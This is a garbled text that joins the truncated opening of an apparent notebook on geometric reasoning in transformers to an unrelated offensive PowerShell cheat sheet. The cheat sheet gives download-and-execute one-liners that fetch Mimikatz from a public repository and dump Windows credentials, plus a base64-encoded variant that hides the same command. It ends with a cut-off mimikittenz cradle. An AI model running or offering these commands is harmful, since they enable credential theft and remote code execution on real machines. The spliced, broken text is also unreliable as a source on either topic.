DSamuelHodge

# Topological Reasoning in Transformers: Semantic Loop Analysis
# Implementation of "Beyond Reinforcement Learning" - Geometric Theory of Transformer Reasoning

"""
ABSTRACT: 
We introduce a geometric theory of reasoning in Transformer models based on attention-induced 
topological structures. This notebook demonstrates that reasoning emerges from closed, high-energy 
attention loops—semantic circuits measurable through loop energy, holonomy, and attention geometry. 
This topological reasoning model enables prompt design and evaluation without external reward policies.

PolarBearGod

*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*

#mimikatz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m

#encoded-mimikatz
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQA=

#mimikittenz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Inv